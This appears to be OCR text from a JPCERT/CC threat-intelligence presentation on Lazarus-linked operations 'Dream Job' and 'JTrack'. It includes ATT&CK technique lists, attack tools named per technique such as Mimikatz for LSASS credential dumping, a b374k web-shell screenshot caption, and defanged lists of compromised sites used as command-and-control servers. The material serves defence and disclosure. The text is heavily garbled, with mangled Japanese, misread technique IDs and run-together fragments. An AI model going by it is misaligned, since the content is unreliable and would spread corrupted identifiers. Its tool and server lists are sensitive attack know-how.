Discovery (T1120)

SystemTime Discovery

(T1124)

NetworkShare Discovery

(T1135)

Password Policy Discovery

(T1201)
Browser Bookmark
Discovery (T1217)

Domain Trust Discovery
(T1482)
Virtualization/Sandbox
Evasion (T1497)
Software Discovery

(T1518)

Cloud Service Discovery

(T1526)

Cloud Service Dashboard

(T1538)

Cloud Infrastructure
Discovery (11580)

Shared Webroot (T1051)

Software Deployment

Taint Shared Content

Model and Distributed

Exploitation of Remote

Remote Service Session

Command &
Control

Data Obfuscation (T1001)

Data fromRemovable

Vedin (T1055)  Fallback Channels (T1008

Data from Network Multiband
Tools (T1072) Shared Drive (T1039  Communication (T1026)
Commonly Used Port

Input Capture (T1056) (11043)

(T1080)
Replication Through
Removable Media
(T1091)
Component Object

Application Layer

Datalstaos Qo) Protocol (T1071)

Screen Capture (T1113) Proxy (T1090)

COM (T1175)

Communication Through

Email Collection (T1114) Removable Media (T1092

Services (T1210)

Non-Application Layer

Clipboard Data (T1115) Protocol (T1095)

(T1534)

peefliie nate Automated Collection

(T1119) Web Service (T1102)

(T1550)

Multi-Stage Channels

Audio Capture (T1123 (T1104)

Hijacking (T1563)

Lateral Tool Transfer Ingress Tool Transfer
(11570) Video Capture (T1125) (T1105)
Manin the Browser
(T1185)
Data fromInformation
Repositories (T1213)

Data Encoding (T1132)

TrafficSignaling (T1205)

Data from Cloud Storage Remote Access Software
Object (T1530) (T1219)

Man-in-the-Mddle DynamicResolution

(T1557) (T1568)
Archive Collected Data  Non-Standard Port
(T1560) (T1571)
Data from Configuration  Protocol Tunneling
Repository (T1602) (T1572)
Encrypted Channel
(T1573)

Exfiltration Over Other

" NetworkMedium (T1011

Automated Exfiltration
(T1020)
Scheduled Transfer
(T1029)

Data TransferSize Limits
(T1030)

Exfiltration Over C2
Channel(T1041)

Exfiltration Over
Alternative Protocol
(T1048)

Exfiltration Over Physical
Medium (T1052)

Transfer Datato Cloud
Account (T1537)

Exfiltration Over Web
Service (T1567)
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Search Open
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Search Open Technical
Databases (T15%)

Search Closed Sources
(T1597)

Phishing for Information

Acquire Infrastructure
(T1583)

Compromise
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Establish Accounts
(T1585)
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(T1586)

Develop Capabilities
(T1587)
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Replication Through
Removable Media
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Drive-by Compromise
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Application (T1190)
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Hardware Additions
(T1200)
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(T1053)

Command and Scripting
Interpreter (T1059)

Graphical User Interface
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Scripting (T1064)

Software Deployment
Tools (T1072)
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Source (T1153)
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Model and Distributed
COM (T1175)
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Execution (T1203)

User Execution (T1204)

Inter-Process

Communication (T1559)
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Persistence
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Boot or Logon
Initialization Scripts
(T1037)

Boot or Logon
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Scheduled Task/Job
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Scheduled Task/Job
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Redundant Access Access Token
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External Remote Services Group Policy
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Create or Modify System
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Office Application Startup
(T1137)

Event Triggered
Execution (T1546)

Browser Extensions
(T1176)

Boot or Logon Autostart
Execution (T1547)
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- Hijack Execution Flow
TrafficSignaling (T1205) (T1574)
Server Software
Component (T1505)
Implant Container Image
(T1525)
Pre-0S Boot (T1542)
Create or Modify System
Process (T1543)
Event Triggered Execution
(T1546)
Boot or Logon Autostart
Execution (T1547)
Compromise Client
Software Binary (T1554)

Hijack Execution Aow
(T1574)

Defense Evasion
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Sripting (T1064)
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Redundant Access
(T1108)

Modify Registry(T1112)
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Evasion (T1211)
Signed Script Proxy
Execution (T1216)
Signed Binary Proxy
Execution (T1218)
XSLScript Processing
(T1220)
Template Injection
(T1221)

File and Directory
Permissions Modification
(T1222)
Execution Guardrails
(11480)

Virtualization/Sandbox
Evasion (T1497)

Unused/Unsupported
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Pre-OS Boot (T1542)
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Process (T1556)
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QueryRegistry(T1012)
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Replication Through
Removable Media
(T1091)
Component Object
Model and Distributed
COM (T1175)

Exploitation of Remote
Services (T1210)

(T1534)
Use Alternate
Authentication Material

SystemNetwork
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Resource Server
Development

T1587.001  Develop Capabilities: Malware  Lazarus/dJEBED VIV T 7 ZfEMA

\ DRICIv I OT7—9%8
T1027 Obfuscated Files or Information ?ggsﬁ/\y;j‘;é“?‘%éf\%?%yﬁé?ma {rezr L)

Defense Evasion
T1070 Indicator Removal on Host timestomp. sdelete. deld~¥ > RQREZEMERA LU TREFZHIBR

i ina: % \ S |
Credential Access  T1003.001  OS Credential Dumping: LSASS  Mimikatz, procdump R EZFRAUTLSASSH B I LTI vIUiE
Memory ®edTS

Remote Services: SMB/Windows #&wATEI LT Y vIVEHRZED T, wmicd~Y 2 RXPsmBY —J)b

Lateral Movement  T1021.002 4 Shares EEALTI 7 ILEMDT/NA R E— U TET
Collection T1560.001 G;Cm’iﬁtso"eded Data: Archive \\\ p ARZE (5 TS T 158 % A
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FAlL)

Obfuscated Files or Information

Indicator Removal on Host

OS Credential Dumping: LSASS Memory

Remote Services: SMB/Windows Admin
Shares

Archive Collected Data: Archive via Utility

M1049:

M1041:
M1029:
M1022:

M1025:
M1026:
M1027:
M1028:
M1043:

M1026:
M1027:
M1037:

M1047:
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Defensive Tacticsand
Techniques (D3FEND)

Detection and Mitigation

- Detect
- File Analysis
- File Content Rules [D3-FCR]
- Dynamic Analysis [D3-DA]

Antivirus/Antimalware

- Detect
Encrypt Sensitive Information - Process Analysis
Remote Data Storage - File Access Pattern Analysis [D3-FAPA]
Restrict File and Directory Permissions - User Behavior Analysis

- Resource Access Pattern Analysis [D3-RAPA]

Privileged Process Integrity
Privileged AccountManagement - Harden
Password Policies - CredentialHardening
Operating System Configuration - Multi-factor Authentication [D3-MFA]
Credential Access Protection

o - Detect
il =g Acgc?unt NEIER IS - Network Traffic Analysis [D3-NTA]
Password Policies - Isolate
Filter Network Traffic - Network Isolation [D3-NI]

- Detect
- File Analysis

Audit - File Content Rules [D3-FCR]

- Process Analysis
- Process Spawn Analysis [D3-PSA]
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PHP /\W O 7

b374k shell 2.8

b374k 2.8 - Mozilla Firefox
File Edit View History Bookmarks Tools

Help

- b3Tak 2.8

b374k 2.8 - Mozilla Firefox

@ b374k 2.8

md64 #1 SHMP Debian 4.9.18-1 (2817-84-84) xBS_64

ip : ::1 | Time @ Server : 14 May 2821 16:47:14

wwe-data > - shel

oWner:group modified action
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Thank you!

@jpcert_en ir-info@jpcert.or.jp
PGP https://www.jpcert.or.jp/english/pgp/
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B Operation Dream Job
— https[:]//gestao.simtelecomrs.com[.]Jbr/sac/digital/client.jsp
— https[:]//sac.onecenter.com[.]br/sac/masks/wfr_masks.jsp
—  https[:]//mk.bital.com[.]br/sac/Formule/Manager.jsp
—  https[:]//www.automercado.co[.]Jcr/empleo/css/main.jsp
—  https[:]//www.curiofirenze[.Jcom/include/inc-site.asp
—  https[:]//www.ne-bal.]Jorg/files/news/thumbs/thumbs.asp
—  https[:]//www.sanlorenzoyacht[.Jcom/newsl/include/inc-map.asp
—  https[:]//www.commodore.com[.]Jtr/mobiquo/appExtt/notdefteri/writenote.php
—  https[:]//www.fabianiarte[.Jcom/newsletter/arte/view.asp
—  https[:]//www.scimpex[.Jcom/admin/assets/backup/requisition/requisition.php
—  https[:]//akramportal[.Jorg/public/voice/voice.php
—  https[:]//inovecommerce.com[.]br/public/pdf/view.php
—  https[:]//www.index-consulting[.]jp:443/eng/news/index.php
—  http[:]//kenpa[.Jorg/yokohama/main.php
— https[:]//vega.mh-tec[.]jp:443/.well-known/index.php
—  http[:]//www.hirokawaunso.co[.]jp/wordpress/wp-includes/ID3/module.audio.mp4.php
—  https[:]//ja-fc.or[.]jp/shop/shopping.php
—  https[:]//www.leemble[.Jcom/5mai-lyon/public/webconf.php
—  https[:]//www.tronslog[.Jcom/public/appstore.php
— https[:]//mail.clicktocareers[.Jcom/dev_clicktocareers/public/mailview.php

NE
" \.JPCERT CC®
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B Operation JTrack

http[:]//aquagoat[.Jcom/customer
http[:]//blacktiger[.]Jcom/input
http[:]//bluedog[.Jcom/submit
http[:]//coraltiger[.]Jcom/search
http[:]//goldtiger[.Jcom/find
http[:]//greentiger[.Jcom/submit
http[:]//industryarticleboard[.Jcom/evolution
http[:]//industryarticleboard[.]Jcom/view
http[:]//maturicafe[.Jcom/main
http[:]//purplefrog[.Jcom/remove
http[:]//whitedragon[.Jcom/search
https[:]//coralcameleon[.Jcom/register
https[:]//industryarticleboard[.Jcom/article
https[:]//maturicafe[.Jcom/polo
https[:]//salmonrabbit[.Jcom/login
https[:]//whitecameleon[.Jcom/find
https[:]//whiterabbit[.Jcom/input
http[:]//toysbagonline[Jcom/reviews
http[:]//purewatertokyo[.Jcom/list
http[:]//pinkgoat[.Jcom/input
http[:]//yellowlion[.Jcom/remove
http[:]//salmonrabbit[.Jcom/find
http[:]//bluecow[.]com/input
http[:]//www.karin-store[.Jcom/recaptcha.php
http[:]//www.karin-store[.Jcom/data/config/total_manager.php
http[:]//katawaku[.]jp/bbs/data/group/group-manager.php
http[:]//3.90.97[.]116/doc/total.php
http[:]//www.maturicafe[.Jcom/status
http[:]//www.industryarticleboard[.Jcom/view
http[:]//yoshinorihirano[.]Jnet/wp-includes/feed-xml.php
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ATT&CK

B Operation Dream Job
— Search Open Websites/Domains (T1593)

— Credentials from Password Stores (T1555)

Compromise Infrastructure (T1584)
Compromise Accounts (T1586)

Develop Capabilities (T1587)

Phishing (T1566)

Command and Scripting Interpreter (T1059)
User Execution (T1204)

System Services (T1569)

Create or Modify System Process (T1543)
Boot or Logon Autostart Execution (T1547)
Obfuscated Files or Information (T1027)
Masquerading (T1036)

Template Injection (T1221)

OS Credential Dumping (T1003)

Network Sniffing (T1040)

Unsecured Credentials (T1552)

Copyright ©2021 JPCERT/CC All rights reserved.

— System Network Configuration Discovery

(T1016)

Remote System Discovery (T1018)
Network Sniffing (T1040)

Account Discovery (T1087)
Network Share Discovery (T1135)
Remote Services (T1021)

Lateral Tool Transfer (T1570)
Archive Collected Data (T1560)
Application Layer Protocol (T1071)
Proxy (T1090)

Data Encoding (T1132)

Remote Access Software (T1219)
Encrypted Channel (T1573)
Exfiltration Over C2 Channel (T1041)
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ATT&CK

B Operation JTrack

— Compromise Infrastructure (T1584)
— Develop Capabilities (T1587)
— Trusted Relationship (T1199)
— Exploitation for Privilege Escalation (T1068)
— Obfuscated Files or Information (T1027)
— Masquerading (T1036)
— Indicator Removal on Host (T1070)
— OS Credential Dumping (T1003)
— Network Share Discovery (T1135)
— Remote Services (T1021)
— Lateral Tool Transfer (T1570)
— Archive Collected Data (T1560)
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Application Layer Protocol (T1071)
Proxy (T1090)

Ingress Tool Transfer (T1105)

Data Encoding (T1132)

Protocol Tunneling (T1572)
Exfiltration Over C2 Channel (T1041)
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[4] Microsoft: PowerTip: Use PowerShell to Get a List of Computers and IP Addresses from Active
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https://devblogs.microsoft.com/scripting/powertip -use-powershell-to-get-a-list-of-computers-and-
ip-addresses-from-active-directory/
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